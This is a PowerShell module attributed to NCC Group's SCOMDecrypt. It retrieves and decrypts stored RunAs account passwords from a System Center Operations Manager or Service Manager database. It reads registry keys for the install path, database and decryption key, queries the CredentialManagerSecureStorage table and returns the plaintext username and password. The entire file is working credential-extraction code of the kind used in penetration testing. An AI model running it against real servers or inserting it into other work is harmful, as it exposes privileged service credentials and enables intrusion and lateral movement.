RunAsAccount.psm1

<#
        All the hard decryption magic has been done by http://www.nccgroup.com/
 
        Released as open source by NCC Group Plc - http://www.nccgroup.com/
 
        Developed by Richard Warren, richard dot warren at nccgroup dot trust
 
        https://www.github.com/nccgroup/SCOMDecrypt
 
        Released under AGPL see LICENSE for more information
 
        .Synopsis
        Retrieves RunAs account password from a specified user. It can be used on SCOM 2016 or SCSM 2016
 
        .Description
        RunAs account passwords are stored encrypted in the SCOM or SCSM database. This module decrypts the corresponding password for a specified user. Works with SCOM 2016 and SCSM 2016
 
        .Parameter UserName
        Specify the user of a RunAs account
 
        .Example
        Get-RunAsCredential -Name 'SCOM Connector RunAs Account' -System 'SCOM'
#>

function Get-RunAsCredential
{
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $true,HelpMessage = 'Please specify a RunAs account display name.')]
        [ValidateNotNullOrEmpty()]
        [String]$Name
    )
            
    Try
    {
        $InstallDir = Get-ItemProperty -Path 'HKLM:SOFTWARE\Microsoft\System Center\2010\Common\Setup' -ErrorAction stop
        $null = [System.Reflection.Assembly]::LoadFile($(Join-Path -Path $InstallDir.InstallDirectory -ChildPath 'Microsoft.Mom.Sdk.SecureStorageManager.dll'))
        $null = [System.Reflection.Assembly]::LoadFile($(Join-Path -Path $InstallDir.InstallDirectory -ChildPath 'Microsoft.EnterpriseManagement.DataAccessLayer.dll'))
    }
    Catch [System.Management.Automation.ItemNotFoundException]
    {
        Write-Output -InputObject '[!] Unable to detect install directory server'
        return
    }     

    $SecStoreManager = New-Object -TypeName Microsoft.EnterpriseManagement.Security.SecureStorageManager

    Try
    {
        $DatabaseInfo = Get-ItemProperty -Path 'HKLM:SOFTWARE\Microsoft\System Center\2010\Common\Database' -ErrorAction stop
    } 
    Catch [System.Management.Automation.ItemNotFoundException]
    {
        Write-Output -InputObject '[!] Unable to detect SQL server'
        return
    }

    Try
    {
        $Reg = Get-ItemProperty -Path 'hklm:SOFTWARE\Microsoft\System Center\2010\Common\MOMBins' -ErrorAction stop
        $Key = $Reg.Value1
    }
    Catch [System.Management.Automation.ItemNotFoundException]
    {
        Write-Output -InputObject '[!] Unable to find key'
        return
    }

    Try
    {
        $SqlCommand = 'SELECT Name, UserName, Data FROM dbo.CredentialManagerSecureStorage;'
        $ConnectionString = "Server=$($DatabaseInfo.DatabaseServerName);Database=$($DatabaseInfo.DatabaseName);Trusted_Connection=True;"
        $Connection = New-Object -TypeName System.Data.SqlClient.SQLConnection -ArgumentList ($ConnectionString)
        $Command = New-Object -TypeName System.Data.Sqlclient.sqlcommand -ArgumentList ($SqlCommand, $Connection)
        $Connection.Open()
        $Adapter = New-Object -TypeName System.Data.Sqlclient.SqlDataAdapter -ArgumentList $Command
        $Dataset = New-Object -TypeName System.Data.DataSet
        $null = $Adapter.Fill($Dataset)
        $Connection.Close()
    }
    Catch
    {
        $Error[0].Exception.Message
    }
    Try 
    {
        $DataRow = $Dataset.Tables[0].Rows | Where-Object -FilterScript {
            $_.Name -ieq $Name
        }
    }
    Catch 
    {
        $Error[0].Exception.Message
    }
    If ($DataRow)
    {
        $Credential = @{}
        $Credential.Add('User',$DataRow.UserName)
        $Credential.Add('Password',[System.Text.Encoding]::UTF8.GetString(($SecStoreManager.Decrypt($DataRow.Data) | Where-Object -FilterScript {
                        ( $_ -ne 0)
        })))
        return $Credential
    }
    Else
    {
        Throw '[!] No RunAs account found'
    }
}